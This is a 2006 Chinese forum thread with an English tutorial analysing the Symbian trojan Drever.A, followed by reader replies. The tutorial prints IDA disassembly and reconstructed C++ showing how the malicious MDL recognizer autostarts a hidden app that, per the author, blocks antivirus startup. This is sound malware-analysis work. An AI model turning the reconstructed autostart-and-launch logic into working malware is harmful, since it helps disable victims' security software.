首页
社区
课程
招聘
[原创]希望大家喜欢,Symbian virus 分析 Part I
2006-4-10 23:25 12567

[原创]希望大家喜欢,Symbian virus 分析 Part I

2006-4-10 23:25
12567
Tutorial: Understanding Symbian virus (I)

Part 1. Basic

1.        Symbian OS common files:

        .sis        - Application setup package(You can get unsis tool from Symbian.com site, and it need Perl to run);
        .jar        - j2me application package(zip format);
        .app/.exe/.mdl/.dll                - application file;
        .aif        - Application Information File;
       
        etc.

2. Symbian OS common application files:

        App                        - Most of application is in this type (It likes execute file on windows in function, but it is most likes dynamic link library in implementation);

        Console exe        - only for testing, few;

        Dll                        - dynamic link library in symbian;

        Mdl                        - a special type dynamic link library, use to autostart, the file will release to c:\system\recogs directory, fullname is MIME Recognizer Dll;

3. virus spread way:

        Trojan                - most in app format, few in console exe format, trojan application will run directly;

        Worm                - most in app format, worm will setup a MDL file to start main app automaticly, and spread itself by infrared, bluetooth, MMS or email;

        Virus                - infect EPOC32 format file?

Part 2. Analyze MDL sample for "Drever.A"

        Instruction:
       
        1. Symbian OS support several CPU architectures, the most mobile is using ARM. The virus analyzed in this text is also on ARM platform, so reader should know the BASIC ARM INSTRUCTION AND ARM PROGRAMMING.
       
        2. My main tool is IDA Pro 4.8. For reducing to use memory, Symbian OS APIs do not export the name(only by order), so we could not see the API name directly. I have written a IDA plugin to try to fix this problem. (The plugin is in testing, so I have not provided it yet. If you need or wanna try it, please contact me by email: jay_zephyr2002@yahoo.com.cn)

        3. How to pass the parameters in Symbian OS API or function:
                1) System will use R0-R3 to pass the parameters, generally speaking;
                2) If there is more than 4 parameters, the other parameters will be pass by stack;
                3) class method (not static) will use R0 to pass the class this pointer;
                4) return value is use R0 register;

===============================================================================
MDL application loading flow:

        Symbian OS MDL Loader
                ->        1. E32Dll(TDllReason)        // exported by mdl file, entrypoint
                ->        2. CreateRecognizer()        // exported by mdl file, order = 1
===============================================================================

1. See Entrypoint in IDA result:

---------------------------[ BEGIN IDA DISASSEMBLE ]---------------------------
.text:10000000  Start:
.text:10000000      B       loc_10000248
.text:10000248  loc_10000248:
.text:10000248      MOV     R0, #0
.text:1000024C      BX      LR
----------------------------[ END IDA DISASSEMBLE ]----------------------------

this is the E32Dll function in C program, the source is just like:

////////////////////////////////////////////////////////////////////////////////
// C++ functions
GLDEF_C TInt E32Dll(TDllReason /*reason*/)
{
        return 0;        // KErrNone
}
////////////////////////////////////////////////////////////////////////////////

2. View "CreateRecognizer" function (the same reason, the CreateRecognizer function is exported by order 1, not by name):

---------------------------[ BEGIN IDA DISASSEMBLE ]---------------------------
.text:10000218       EXPORT CreateRecognizer
.text:10000218  CreateRecognizer:
.text:10000218       STMFD   SP!, {R4,LR}
.text:1000021C       MOV     R0, #0x128
.text:10000220       BL      CBase::__nw(uint)
.text:10000224       SUBS    R4, R0, #0
.text:10000228       BEQ     faile_to_alloc_mem        ; if R0 == 0 then memory alloc failed!
.text:1000022C       MOV     R0, R4
.text:10000230       BL      recognizer_constructor        ; invoke recognizer constructor!
.text:10000234       MOV     R4, R0
.text:10000238
.text:10000238  faile_to_alloc_mem:
.text:10000238       BL      do_exe_virus_body
.text:1000023C       MOV     R0, R4
.text:10000240       LDMFD   SP!, {R4,LR}
.text:10000244       BX      LR
----------------------------[ END IDA DISASSEMBLE ]----------------------------

translate the assemble codes to C++ codes:

////////////////////////////////////////////////////////////////////////////////
// C++ functions
EXPORT_C CApaDataRecognizerType * CreateRecognizer()
{
        CApaDataRecognizerType * rg = new MyRecognizer();
        do_exe_virus_body();
       
        return rg;
}
////////////////////////////////////////////////////////////////////////////////

I have analyzed all codes for MyRecognizer class, and do not find any malware codes. I put the whole MyRecognizer class code at the end of this text.

Let's check the function "do_exe_virus_body", this is the virus codes.

---------------------------[ BEGIN IDA DISASSEMBLE ]---------------------------
.text:10000068  do_exe_virus_body:
.text:10000068       STMFD   SP!, {R4,R5,LR}
.text:1000006C       SUB     SP, SP, #0x10
.text:10000070       MOV     R0, #4
.text:10000074       BL      __builtin_new
.text:10000078       SUBS    R5, R0, #0
.text:1000007C       LDRNE   R3, =0xFFFF8001
.text:10000080       STRNE   R3, [R5]
.text:10000084       MOV     R3, #0x100
.text:10000088       STR     R3, [SP,#arg_0] ; param4
.text:1000008C       STR     R3, [SP,#arg_4] ; param5
.text:10000090       MOV     R4, #0
.text:10000094       STR     R4, [SP,#arg_8] ; param6
.text:10000098       MOV     R3, #1
.text:1000009C       STR     R3, [SP,#arg_C] ; param7
.text:100000A0       MOV     R0, R5          ; this pointer
.text:100000A4       LDR     R1, =aSaboot    ; param1
.text:100000A8       LDR     R2, =ThreadProc ; param2
.text:100000AC       MOV     R3, #0x2000     ; param3
.text:100000B0       BL      RThread::Create(TDesC16 const &,int (*)(void *),int,int,int,void *,TOwnerType)
.text:100000B4       BL      User::LeaveIfError(int)
.text:100000B8       MOV     R0, R5
.text:100000BC       MOV     R1, R4
.text:100000C0       BL      RThread::SetPriority(TThreadPriority)
.text:100000C4       MOV     R0, R5
.text:100000C8       BL      RThread::Resume(void)
.text:100000CC       MOV     R0, R5
.text:100000D0       BL      RHandleBase::Close(void)
.text:100000D4       B       loc_100000E4
.text:100000E4
.text:100000E4  loc_100000E4:
.text:100000E4       ADD     SP, SP, #0x10
.text:100000E8       LDMFD   SP!, {R4,R5,LR}
.text:100000EC       BX      LR
----------------------------[ END IDA DISASSEMBLE ]----------------------------

OK, very easy, isn't it? Let's convert it. The result is:

////////////////////////////////////////////////////////////////////////////////
// C++ functions
void do_exe_virus_body()
{
        RThread thread;
        _LIT(KTxtName, "aSaboot");
       
        User::LeaveIfError(
                thread.Create(
                        KTxtName, ThreadProc,
                        0x2000, 0x100, 0x100,
                        NULL, EOwnerThread)
                );
       
        thread.SetPriority(EPriorityNormal);
        thread.Resume();
        thread.Close();
}
////////////////////////////////////////////////////////////////////////////////

Now, we give the ThreadProc function codes (For lazy, I only show the C++ source):

////////////////////////////////////////////////////////////////////////////////
// C++ functions
TInt ThreadProc(TAny * /* arg */)
{
        TRAPD(err, exe_virus_app());
        return 0;
}

void exe_virus_app()
{
        const TUid uid = {0x100052C6};
        _LIT(KTxtVirusApp, "C:\system\apps\Gavnowin!\Gavnowin.app");

        RSystemAgent sa;
        RTimer timer;
        TInt n = 0;

        TRequestStatus req = 0x80000001;

        sa.Connect();
        sa.NotifyIREventSynchronously(0);
        timer.CreateLocale();

        while (sa.GetStatus()) {
                if (n>5) break;
                n++;

                timer.After(&req, 0x4C4B40);
                WaitForRequest(&req);       
        }

        sa.Close();
        EikDll::StartExeL(KTxtVirusApp);
}

////////////////////////////////////////////////////////////////////////////////
// Text end

OK, that's all! If you found any bugs, please let me know.
Thanks for reading.

================================================================================
Appendix:
================================================================================
The follow is the MyRecognizer class source:

////////////////////////////////////////////////////////////////////////////////
// File name: MyRecognizer.h
////////////////////////////////////////////////////////////////////////////////

#include <apmrec.h>

const TUid MyUid = {0x101FEB56};

class CMyRecognizer : public CApaDataRecognizerType
{
public:
        CMyRecognizer();

        virtual ~CMyRecognizer();
       
        virtual TUint PreferredBufSize();
        virtual TDataType SupportedDataTypeL(TInt index) const;
       
private:
        virtual void DoRecognizeL(const TDesC& name, const TDesC8& buf);
};

////////////////////////////////////////////////////////////////////////////////
// File name: MyRecognizer.cpp
////////////////////////////////////////////////////////////////////////////////
#include "MyRecognizer.h"

CMyRecognizer::CMyRecognizer():
        CApaDataRecognizerType(MyUid, 0)
{
}

CMyRecognizer::~CMyRecognizer()
{
}

TUint CMyRecognizer::PreferredBufSize(TInt index)
{
        return 0;
}

TDataType CMyRecognizer::SupportedDataTypeL(TInt index) const
{
        return TDataType();
}

void CMyRecognizer::DoRecognizeL(const TDesC& name, const TDesC8& buf)
{
}
////////////////////////////////////////////////////////////////////////////////
//:~

呵呵,补上文中提到的 IDA Pro plugin (for 4.8)

附件密码:codez

[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

上传的附件:
收藏
点赞7
打赏
分享
最新回复 (18)
雪    币: 236
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
shinechou 2006-4-11 11:43
2
0
谢谢兄弟分享,接着来呀!
雪    币: 2506
活跃值: (995)
能力值: (RANK:990 )
在线值:
发帖
回帖
粉丝
CCDebuger 24 2006-4-11 11:58
3
0
这是原创还是转帖?如果是转帖的话请注明。
雪    币: 239
活跃值: (40)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
codez 3 2006-4-11 13:41
4
0
谢谢斑竹的支持!

由于要发给国外的同事,所以顺便写成英文的了。希望不会给大家带来麻烦 :)

文中的工具我已经发送给 pediy 了,希望大家能喜欢。
另外,后面的部分还没有写,主要是分析完了,懒得动手写了,我会尽快写出来!

祝大家工作愉快,也欢迎有兴趣的同志和我一起研究。

我的 msn: jay_zephyr2002@hotmail.com
雪    币: 2506
活跃值: (995)
能力值: (RANK:990 )
在线值:
发帖
回帖
粉丝
CCDebuger 24 2006-4-11 13:44
5
0
呵,支持原创。最好能是中文,大家也看得舒服一点
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
chinalvker 2006-4-11 14:24
6
0
还不错的 ...  可惜太复杂,  需要慢慢的啃.
雪    币: 50
活跃值: (145)
能力值: ( LV12,RANK:290 )
在线值:
发帖
回帖
粉丝
zhaoocn 7 2006-4-11 15:33
7
0
好东西看不懂,收藏吧
雪    币: 298
活跃值: (445)
能力值: ( LV12,RANK:450 )
在线值:
发帖
回帖
粉丝
Immlep 11 2006-4-11 16:11
8
0
good!
正好想研究一下Symbian OS的病毒。。。楼主应该有不少的病毒样本吧??不知道可不可以发给我,或者告诉我哪里可以下载!!谢谢!!

immlep[at]126.com
雪    币: 32406
活跃值: (18795)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
kanxue 8 2006-4-11 19:54
9
0
最初由 codez 发布
文中的工具我已经发送给 pediy 了,希望大家能喜欢。
........


没收到。
不过,现你己有上传附件的权限,可以将附件传上来。
雪    币: 442
活跃值: (1216)
能力值: ( LV12,RANK:1130 )
在线值:
发帖
回帖
粉丝
baby2008 28 2006-4-11 20:08
10
0
支持
雪    币: 260
活跃值: (209)
能力值: ( LV9,RANK:170 )
在线值:
发帖
回帖
粉丝
andy00 4 2006-4-11 20:25
11
0
世上的牛人越来越多.
雪    币: 222
活跃值: (40)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
koala 3 2006-4-11 22:54
12
0
近日牛人不断现身了
雪    币: 239
活跃值: (40)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
codez 3 2006-4-13 09:31
13
0
上传了插件,呵呵。

To Immlep:
很抱歉,计算机病毒在我们国家是管制的,而且也是违反公司的规定。如果希望了解,可以参考 29a v8 的 Cabir 的原始代码 :)

Good luck!
雪    币: 32406
活跃值: (18795)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
kanxue 8 2006-4-13 09:54
14
0
谢谢codez!
附件sar.zip 损坏,麻烦重新上传一次。
雪    币: 250
活跃值: (103)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
ah007 2 2006-4-13 14:36
15
0
精彩!!
雪    币: 239
活跃值: (40)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
codez 3 2006-4-13 15:06
16
0
重新上传了一遍附件,大小差不多了,检查一下,网络好慢!
有问题我继续重传!郁闷ing...

其实,这个病毒已经分析玩了,被加载的部分,虽然名字是 .app 但是实际上没有用处,这个木马的目的就是屏蔽掉 kav 和 simworks 的杀毒件的启动模块。

至于 Cabir.a 我倒是可以把分析过程写出来,因为作者已经公布源代码了,但是,其他的病毒就不能了再写了,呵呵.抱歉阿!不然,要罚款哦!

Best regards
雪    币: 208
活跃值: (41)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
lidou 1 2006-4-24 16:58
17
0
好文,看来symbian要进驻看雪了。
不过期待楼主的part II,III,...
雪    币: 203
活跃值: (124)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
jinghua 2006-4-24 17:30
18
0
不会吧,把病毒分析公开都要罚款??
雪    币: 234
活跃值: (10)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
inraining 2 2006-4-24 19:59
19
0
支持~~不错
游客
登录 | 注册 方可回帖
返回